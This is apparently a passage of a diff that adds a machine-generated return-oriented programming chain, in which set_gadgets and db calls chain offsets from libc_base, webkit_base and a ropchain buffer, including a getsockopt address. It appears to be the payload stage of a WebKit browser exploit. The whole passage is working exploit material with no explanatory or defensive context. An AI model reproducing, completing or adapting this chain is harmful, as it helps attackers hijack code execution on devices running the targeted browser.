+set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +getsockopt_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+196152, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+196224, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+196288, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+713278 +]); +db([4294967292, 4294967295]); +set_gadget(libc_base+772328,); +db([20, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+713278, +ropchain+196432, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967292, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+196536, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+196624, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+196640, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+196784, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+196752, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+196768, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([46, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([41, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+196976, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+197064, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+197080, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+197240, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+197272, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+197224, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+197256, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+197368, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+197352, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+197472, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+199624, +libc_base+863109, +libc_base+713278 +]); +db([4294967256, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+197616, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+197632, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+197600, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+197760, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+197792, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+197776, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+197904, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+197896, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+197920, +ropchain+198384, +libc_base+388400, +libc_base+713278, +ropchain+197992, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+198152, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+198184, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+198136, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+198168, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+198264, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+198280, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+198376, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+198360, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+198440, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967292, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+198528, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+198544, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+198704, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+198736, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+198688, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+198720, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+198896, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+198848, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+198864, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([32, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+199032, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+199048, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+199016, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+199152, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+199168, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+199288, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+199272, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+199376, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+199360, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+199480, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+199496, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+199616, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+199600, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +getsockopt_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+200944, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+201016, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+201080, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([40, 0]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+201232, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+201248, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+201368, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+201352, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+388400, +libc_base+713278, +ropchain+201456, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967264, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+201528, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967256, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+713278, +ropchain+201600, +webkit_base+4687784, +libc_base+768796 +]); +db([12, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([8, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+201744, +webkit_base+4687784, +libc_base+768796 +]); +db([1, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([1, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+201888, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+201904, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+201872, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+844101, +libc_base+713278, +ropchain+202016, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+202032, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([8, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+202216, +webkit_base+4687784, +libc_base+768796 +]); +db([1, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([1, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+202360, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+202376, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+202344, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+844101, +libc_base+713278, +ropchain+202472, +webkit_base+4687784, +libc_base+713278 +]); +db([4294967295, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+856504, +libc_base+507828, +libc_base+713278, +ropchain+202536, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+202592, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+5236215, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([4, 0]); +set_gadget(libc_base+772328,); +db([4, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+202832, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+202800, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([32, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+202936, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+202920, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+203032, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967256, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+203120, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+203136, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+203240, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+203224, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+203296, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+203400, +webkit_base+4687784, +libc_base+768796 +]); +db([41, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([41, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+203512, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+203496, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+203608, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967256, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+203696, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+203712, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+203816, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+203800, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+203888, +webkit_base+4687784, +libc_base+863109, +libc_base+713278 +]); +db([4, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+204000, +webkit_base+4687784, +libc_base+768796 +]); +db([61, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([61, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+204112, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+204096, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+204208, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967256, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+204296, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+204312, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+204416, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+204400, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+204488, +webkit_base+4687784, +libc_base+863109, +libc_base+713278 +]); +db([8, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+204600, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+204712, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+204696, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+204808, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967256, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+204896, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+204912, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+205056, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+205024, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+205040, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+205128, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+205184, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([12, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([8, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+205376, +webkit_base+4687784, +libc_base+768796 +]); +db([1, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([1, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+205520, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+205536, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+205504, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+844101, +libc_base+713278, +ropchain+205648, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+205664, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([8, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+205848, +webkit_base+4687784, +libc_base+768796 +]); +db([1, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([1, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+205992, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+206008, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+205976, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); 